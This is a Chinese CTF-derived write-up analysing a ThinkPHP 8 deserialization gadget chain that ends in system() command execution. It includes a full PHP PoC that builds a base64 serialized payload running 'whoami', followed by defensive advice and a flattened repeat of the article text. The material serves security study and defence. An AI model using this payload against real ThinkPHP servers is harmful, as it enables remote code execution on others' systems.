从xctf决赛 ezthink挖掘tp8的反序列化链
字数 1410 2025-08-24 20:49:22

ThinkPHP 8 反序列化链挖掘与分析

前言

本文详细分析ThinkPHP 8框架中的反序列化漏洞挖掘过程,基于XCTF决赛中的一道考题。通过本文,您将学习到如何从零开始挖掘ThinkPHP 8的反序列化利用链。

环境配置

  1. 基础环境

    • PHP版本:8.0及以上
    • ThinkPHP版本:8.x
    • 开发工具:推荐PHPStorm + PHPStudy + Xdebug组合
  2. 配置步骤

    • 按照官方文档安装ThinkPHP 8:https://doc.thinkphp.cn/v8_0/preface.html
    • 添加反序列化入口点(需要自定义)

漏洞挖掘方法论

1. 寻找反序列化入口点

在反序列化漏洞挖掘中,通常关注以下魔术方法:

  • __wakeup():反序列化时自动调用
  • __destruct():对象销毁时自动调用

搜索策略

  • 全局搜索__destruct方法
  • 在ThinkPHP 8中,think\route\ResourceRegister.php是一个关键点

2. 关键调用链分析

2.1 ResourceRegister类分析

class ResourceRegister {
    protected $resource;
    
    public function __destruct() {
        $this->register();
    }
    
    protected function register() {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}
  • 当对象销毁时,自动调用__destruct()方法
  • __destruct()调用register()方法
  • register()方法调用parseGroupRule()方法

2.2 parseGroupRule方法分析

// 伪代码表示关键逻辑
function parseGroupRule($rule) {
    $array = explode('.', $rule);  // 以点分割规则
    $val = array_pop($array);      // 弹出最后一个元素
    
    // 关键触发点
    $item[] = $val;
    $option['var'][$val] ?? $val . '_id';
}

利用思路

  1. 控制$rule1.1这样的格式
  2. 通过.分割后弹出1作为键
  3. 通过$option['var'][$val]触发__toString()方法

3. __toString触发点

全局搜索__toString方法,发现think\model\Conversion.php中存在可利用点:

trait Conversion {
    public function __toString() {
        return $this->toJson();
    }
    
    public function toJson() {
        return json_encode($this->toArray());
    }
    
    public function toArray() {
        // 关键逻辑
        if (!isset($hidden[$key]) && !$hasVisible) {
            $item[$key] = $this->getAttr($key);
        }
    }
}

4. 属性获取链分析

4.1 getAttr方法

public function getAttr($name) {
    $value = $this->getData($name);
    
    if (isset($this->withAttr[$fieldName])) {
        $value = $this->getValue($fieldName, $value);
    }
    
    return $value;
}

4.2 getData方法

public function getData($name) {
    $fieldName = $this->getRealFieldName($name);
    return $this->data[$fieldName] ?? null;
}

4.3 getValue方法

protected function getValue($name, $value, $relation = false) {
    if (isset($this->json[$name])) {
        $value = $this->getJsonValue($name, $value);
    }
    
    return $value;
}

4.4 getJsonValue方法

protected function getJsonValue($name, $value) {
    if (is_array($this->withAttr[$name])) {
        foreach ($value as $key => $val) {
            if (isset($this->withAttr[$name][$key])) {
                $closure = $this->withAttr[$name][$key];
                $value[$key] = $closure($val);
            }
        }
    }
    return $value;
}

关键点

  • $this->withAttr[$name][$key]可以设置为系统函数如system
  • $value[$key]作为命令参数
  • 最终形成system('whoami')这样的调用

完整利用链

  1. ResourceRegister::__destruct()
  2. ResourceRegister::register()
  3. Resource::parseGroupRule()
  4. Pivot::__toString()
  5. Conversion::toJson()
  6. Conversion::toArray()
  7. Attribute::getAttr()
  8. Attribute::getData()
  9. Attribute::getValue()
  10. Attribute::getJsonValue()
  11. 最终执行系统命令

PoC构造

<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['p2' => ['p2' => 'whoami']];
    private $withAttr = ['p2' => ['p2' => 'system']];
    protected $json = ["p2"];
    protected $jsonAssoc = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;
    
    function __construct($obj = '') {
        $this->lazySave = true;
        $this->withEvent = false;
        $this->exists = true;
        $this->force = true;
        $this->table = $obj;
        $this->jsonAssoc = true;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

namespace think\route;

class Resource {
    public function __construct() {
        $this->rule = "1.1";
        $this->option = ["var" => ["1" => new \think\model\Pivot()]];
    }
}

class ResourceRegister {
    protected $resource;
    
    public function __construct() {
        $this->resource = new Resource();
    }
    
    public function __destruct() {
        $this->register();
    }
    
    protected function register() {
        $this->resource->parseGroupRule($this->resource->getRule());
    }
}

$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
?>

防御建议

  1. 避免反序列化用户可控的数据
  2. 对魔术方法进行安全审查
  3. 使用__wakeup()方法重置敏感属性
  4. 考虑使用JSON等安全的数据交换格式替代序列化

总结

本文详细分析了ThinkPHP 8中一个完整的反序列化利用链,从入口点到最终的RCE。关键点在于:

  1. 通过__destruct找到入口
  2. 利用.分割规则触发__toString
  3. 通过属性操作链实现命令执行

理解这些原理有助于安全研究人员更好地发现和防御此类漏洞。

ThinkPHP 8 反序列化链挖掘与分析 前言 本文详细分析ThinkPHP 8框架中的反序列化漏洞挖掘过程,基于XCTF决赛中的一道考题。通过本文,您将学习到如何从零开始挖掘ThinkPHP 8的反序列化利用链。 环境配置 基础环境 : PHP版本:8.0及以上 ThinkPHP版本:8.x 开发工具:推荐PHPStorm + PHPStudy + Xdebug组合 配置步骤 : 按照官方文档安装ThinkPHP 8:https://doc.thinkphp.cn/v8_ 0/preface.html 添加反序列化入口点(需要自定义) 漏洞挖掘方法论 1. 寻找反序列化入口点 在反序列化漏洞挖掘中,通常关注以下魔术方法: __wakeup() :反序列化时自动调用 __destruct() :对象销毁时自动调用 搜索策略 : 全局搜索 __destruct 方法 在ThinkPHP 8中, think\route\ResourceRegister.php 是一个关键点 2. 关键调用链分析 2.1 ResourceRegister类分析 当对象销毁时,自动调用 __destruct() 方法 __destruct() 调用 register() 方法 register() 方法调用 parseGroupRule() 方法 2.2 parseGroupRule方法分析 利用思路 : 控制 $rule 为 1.1 这样的格式 通过 . 分割后弹出 1 作为键 通过 $option['var'][$val] 触发 __toString() 方法 3. __ toString触发点 全局搜索 __toString 方法,发现 think\model\Conversion.php 中存在可利用点: 4. 属性获取链分析 4.1 getAttr方法 4.2 getData方法 4.3 getValue方法 4.4 getJsonValue方法 关键点 : $this->withAttr[$name][$key] 可以设置为系统函数如 system $value[$key] 作为命令参数 最终形成 system('whoami') 这样的调用 完整利用链 ResourceRegister::__destruct() ResourceRegister::register() Resource::parseGroupRule() Pivot::__toString() Conversion::toJson() Conversion::toArray() Attribute::getAttr() Attribute::getData() Attribute::getValue() Attribute::getJsonValue() 最终执行系统命令 PoC构造 防御建议 避免反序列化用户可控的数据 对魔术方法进行安全审查 使用 __wakeup() 方法重置敏感属性 考虑使用JSON等安全的数据交换格式替代序列化 总结 本文详细分析了ThinkPHP 8中一个完整的反序列化利用链,从入口点到最终的RCE。关键点在于: 通过 __destruct 找到入口 利用 . 分割规则触发 __toString 通过属性操作链实现命令执行 理解这些原理有助于安全研究人员更好地发现和防御此类漏洞。